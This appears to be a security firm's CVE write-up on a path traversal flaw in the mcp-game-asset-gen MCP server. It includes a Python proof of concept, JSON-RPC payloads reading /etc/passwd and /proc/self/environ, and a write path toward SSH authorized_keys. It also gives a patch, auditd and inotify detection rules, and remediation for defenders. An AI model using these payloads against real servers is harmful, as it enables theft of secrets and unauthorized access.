home intel cve-2026-7594-mcp-game-asset-gen-path-traversal
CVE Analysis 2026-05-01 · 7 min read

CVE-2026-7594: Path Traversal in mcp-game-asset-gen image_to_3d_async

Unsanitized statusFile argument in mcp-game-asset-gen 0.1.0's image_to_3d_async allows remote path traversal via the MCP interface. Arbitrary file read/write reachable without authentication.

#path-traversal#file-system-access#mcp-interface#input-validation#remote-exploit
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-7594 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-7594HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-7594 is a path traversal vulnerability in Flux159/mcp-game-asset-gen version 0.1.0, a Model Context Protocol (MCP) server that exposes game asset generation tooling — including 2D-to-3D conversion pipelines — to LLM-driven clients. The affected function is image_to_3d_async in src/index.ts. The statusFile argument, supplied entirely by the caller over the MCP transport, is interpolated directly into filesystem operations without normalization or prefix validation. An attacker with MCP client access can supply a crafted statusFile value containing ../ sequences to read or overwrite arbitrary files accessible to the server process.

CVSS 7.3 (HIGH) — Network / Low complexity / No privileges required / No user interaction / Low confidentiality, integrity, availability impact against scope-changed resources.

Affected Component

The MCP tool handler in src/index.ts registers image_to_3d_async as a callable tool. When invoked, it accepts a JSON argument object that includes an image path and a statusFile field used to persist job status between polling calls. The status file mechanism is a deliberate design feature — MCP clients poll job state by re-invoking the tool with the same statusFile — but the path is never constrained to a safe directory.

Package : mcp-game-asset-gen 0.1.0
File    : src/index.ts
Function: image_to_3d_async (MCP tool handler)
Argument: statusFile (caller-controlled string)
Transport: stdio MCP (JSON-RPC 2.0 over stdin/stdout)
Effect  : arbitrary file read + write as server process UID

Root Cause Analysis

The tool handler deserializes the incoming JSON arguments, extracts statusFile, and passes it to Node.js fs primitives. No call to path.resolve() + prefix assertion, no path.normalize() strip, no allowlist — the string is used verbatim.

// Reconstructed pseudocode from src/index.ts (TypeScript → logic equivalent)
// image_to_3d_async MCP tool handler

async function image_to_3d_async(args: Record): Promise {
    const imagePath  = args["imagePath"];   // caller-controlled
    const statusFile = args["statusFile"];  // caller-controlled — BUG: never validated

    // First invocation: launch async job, write initial status
    if (!fs.existsSync(statusFile)) {               // BUG: statusFile used directly as path
        const jobId = await launch3DConversionJob(imagePath);
        const initialStatus = {
            jobId:  jobId,
            status: "pending",
            result: null
        };
        // BUG: writes attacker-controlled path — arbitrary file write
        fs.writeFileSync(statusFile, JSON.stringify(initialStatus));
        return { content: [{ type: "text", text: "Job started: " + jobId }] };
    }

    // Subsequent invocations: read status from file and return to caller
    // BUG: reads attacker-controlled path — arbitrary file read (content returned to caller)
    const raw    = fs.readFileSync(statusFile, "utf-8");
    const status = JSON.parse(raw);

    if (status.status === "complete") {
        return { content: [{ type: "text", text: JSON.stringify(status.result) }] };
    }
    // poll job and overwrite status file with updated state
    const updated = await pollJob(status.jobId);
    fs.writeFileSync(statusFile, JSON.stringify(updated)); // BUG: arbitrary overwrite
    return { content: [{ type: "text", text: updated.status }] };
}
Root cause: statusFile is interpolated directly into fs.existsSync, fs.readFileSync, and fs.writeFileSync without resolving the path against a trusted base directory, enabling directory traversal on both read and write code paths.

Exploitation Mechanics

Two distinct attack primitives are available depending on which code path is triggered:

  • Primitive 1 — Arbitrary write (new file): Supply a non-existent path via traversal. Handler writes controlled JSON to that location.
  • Primitive 2 — Arbitrary read: Supply an existing sensitive file path. Handler reads it, parses as JSON (best-effort), and returns raw bytes on parse failure paths or structured content on success.
EXPLOIT CHAIN (Arbitrary Read — /etc/passwd):

1. Connect to mcp-game-asset-gen MCP server over stdio transport
   (or via any MCP-compatible proxy exposing the tool remotely)

2. Send JSON-RPC call:
   {
     "jsonrpc": "2.0",
     "method":  "tools/call",
     "params": {
       "name": "image_to_3d_async",
       "arguments": {
         "imagePath":  "dummy.png",
         "statusFile": "../../../../etc/passwd"
       }
     },
     "id": 1
   }

3. Server evaluates: fs.existsSync("../../../../etc/passwd") → true
   Skips write branch, falls through to READ branch

4. fs.readFileSync("../../../../etc/passwd", "utf-8") executes
   Raw file content loaded into `raw`

5. JSON.parse(raw) throws SyntaxError (passwd is not JSON)
   Unhandled exception propagates upward — error message in many
   Node.js MCP implementations echoes the raw input in the
   exception message, leaking file contents to the caller

6. Alternate: target a JSON-formatted file (e.g., package.json,
   .npmrc, ~/.config/gh/hosts.yml) for clean parse + structured exfil

EXPLOIT CHAIN (Arbitrary Write — cron job / authorized_keys):

1. Same transport setup as above

2. Call with non-existent traversal target:
   "statusFile": "../../../../home/user/.ssh/authorized_keys_new"
   "imagePath":  ""

3. fs.existsSync → false → write branch executes

4. fs.writeFileSync writes:
   {"jobId":"","status":"pending","result":null}
   Content is mostly fixed but jobId is caller-controlled:
   "imagePath" feeds launch3DConversionJob() which returns the id —
   if jobId echoes imagePath, attacker controls written content structure

5. For SSH key injection: target path = ../../../../root/.ssh/authorized_keys
   requires server running as root (possible in container default configs)
#!/usr/bin/env python3
# CVE-2026-7594 — mcp-game-asset-gen path traversal PoC
# Targets stdio MCP transport (pipe to process)
import subprocess, json, sys

TARGET = ["node", "dist/index.js"]  # adjust to deployment

def mcp_call(proc, tool, args, call_id=1):
    payload = json.dumps({
        "jsonrpc": "2.0",
        "method":  "tools/call",
        "params":  {"name": tool, "arguments": args},
        "id":      call_id
    }) + "\n"
    proc.stdin.write(payload.encode())
    proc.stdin.flush()
    line = proc.stdout.readline()
    return json.loads(line)

def read_file(target_path, depth=6):
    traversal = "../" * depth + target_path.lstrip("/")
    proc = subprocess.Popen(
        TARGET,
        stdin=subprocess.PIPE,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE
    )
    # initialize MCP session
    init = json.dumps({"jsonrpc":"2.0","method":"initialize",
                       "params":{"protocolVersion":"2024-11-05",
                                 "capabilities":{},"clientInfo":
                                 {"name":"poc","version":"0.1"}},
                       "id":0}) + "\n"
    proc.stdin.write(init.encode()); proc.stdin.flush()
    proc.stdout.readline()  # consume initialize response

    result = mcp_call(proc, "image_to_3d_async", {
        "imagePath":  "x.png",
        "statusFile": traversal
    })
    proc.terminate()
    return result

if __name__ == "__main__":
    target = sys.argv[1] if len(sys.argv) > 1 else "/etc/passwd"
    print(f"[*] Targeting: {target}")
    r = read_file(target)
    print(json.dumps(r, indent=2))

Memory Layout

This is a logic vulnerability — no heap corruption. The relevant "memory layout" is the filesystem namespace visible to the server process and how the unsanitized path resolves through it.

SERVER WORKING DIRECTORY (assumed):
  /opt/mcp-game-asset-gen/

INTENDED statusFile SCOPE:
  /opt/mcp-game-asset-gen/jobs/.json   ← safe
  /opt/mcp-game-asset-gen/tmp/.json    ← safe

ACTUAL RESOLUTION WITH TRAVERSAL PAYLOAD:
  statusFile = "../../../../etc/passwd"
  path.join(cwd, statusFile)
    = /opt/mcp-game-asset-gen/../../../../etc/passwd
    = /etc/passwd                              ← traversal succeeds

  statusFile = "../../../../root/.ssh/authorized_keys"
    = /root/.ssh/authorized_keys               ← write primitive

  statusFile = "../../../../proc/self/environ"
    = /proc/self/environ                       ← env var / secret exfil

NODE.JS fs MODULE — NO IMPLICIT SANITIZATION:
  fs.existsSync(p)    → stat(2) — follows symlinks, no prefix check
  fs.readFileSync(p)  → open(2) + read(2) — no prefix check
  fs.writeFileSync(p) → open(2) O_WRONLY|O_CREAT|O_TRUNC — no check

Patch Analysis

The correct fix resolves the caller-supplied path against a trusted base directory and asserts the resolved absolute path has the expected prefix before any filesystem operation.

// BEFORE (vulnerable) — src/index.ts
async function image_to_3d_async(args) {
    const statusFile = args["statusFile"];   // BUG: used directly
    if (!fs.existsSync(statusFile)) {
        fs.writeFileSync(statusFile, JSON.stringify(initialStatus));
    }
    const raw = fs.readFileSync(statusFile, "utf-8");
    // ...
}

// AFTER (patched) — src/index.ts
import path from "path";

const STATUS_BASE_DIR = path.resolve(__dirname, "jobs");

function safeStatusPath(input: string): string {
    // Resolve to absolute, stripping all traversal sequences
    const resolved = path.resolve(STATUS_BASE_DIR, path.basename(input));
    //                                              ^^^^^^^^^^^^^^^^^
    //                                              basename() strips all directory
    //                                              components — only filename survives
    // Double-check prefix (defense in depth)
    if (!resolved.startsWith(STATUS_BASE_DIR + path.sep)) {
        throw new Error("Invalid statusFile path");
    }
    return resolved;
}

async function image_to_3d_async(args) {
    const statusFile = safeStatusPath(args["statusFile"]); // sanitized
    if (!fs.existsSync(statusFile)) {
        fs.writeFileSync(statusFile, JSON.stringify(initialStatus));
    }
    const raw = fs.readFileSync(statusFile, "utf-8");
    // ...
}

Alternative hardening — if callers must supply subdirectory structure, use path.resolve() + prefix assertion instead of path.basename():

// path.basename() variant strips dirs entirely (strictest)
// path.resolve() + prefix check allows controlled subdirs:

const resolved = path.resolve(STATUS_BASE_DIR, input);
if (!resolved.startsWith(STATUS_BASE_DIR + path.sep)) {
    throw new Error("Path traversal detected");
}
// resolved is now safe to pass to fs.*

Detection and Indicators

No authentication precedes the tools/call dispatch in MCP stdio servers — any process that can write to the server's stdin is a valid attacker. Detection must happen at the filesystem and network layer.

INDICATORS OF EXPLOITATION:

Process behavior:
  - mcp-game-asset-gen process opening files outside its working directory
  - open(2) / openat(2) syscalls with paths containing "../" sequences
  - Reads of: /etc/passwd, /etc/shadow, ~/.ssh/*, ~/.aws/credentials,
              /proc/self/environ, *.env, package.json outside app root

auditd rule to catch traversal:
  -a always,exit -F arch=b64 -S open,openat -F exe=/usr/bin/node \
     -F dir!=/opt/mcp-game-asset-gen -k mcp_traversal

Filesystem watch (inotifywait):
  inotifywait -m -r --exclude '^/opt/mcp-game-asset-gen' \
    -e open -e create /etc /root /home

Log signature (stderr/stdout JSON-RPC error):
  "SyntaxError: Unexpected token" in MCP error response
  → server attempted to JSON.parse() a non-JSON file (traversal read)

Network exposure check:
  lsof -p $(pgrep -f mcp-game-asset-gen) | grep LISTEN
  → if bound to 0.0.0.0, remotely exploitable without local access

Remediation

  • Immediate: Do not expose mcp-game-asset-gen 0.1.0 to untrusted MCP clients. If used in an LLM pipeline, treat the MCP server as a trust boundary and isolate it.
  • Code fix: Apply path.basename() or path.resolve() + prefix assertion to statusFile before any fs.* call (see patch above). All three call sites — existsSync, readFileSync, writeFileSync — must use the sanitized path.
  • Containment: Run the server as a dedicated low-privilege user with a restricted filesystem view. Use seccomp or a Linux namespace to limit openat(2) to the application directory.
  • Input validation: Reject statusFile values containing /, \, or .. as an additional layer before path resolution.
  • Upstream: The project has not responded to the initial disclosure. Treat the package as unmaintained until a patched release appears on npm. Pin to a private fork with the fix applied if the dependency cannot be dropped.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →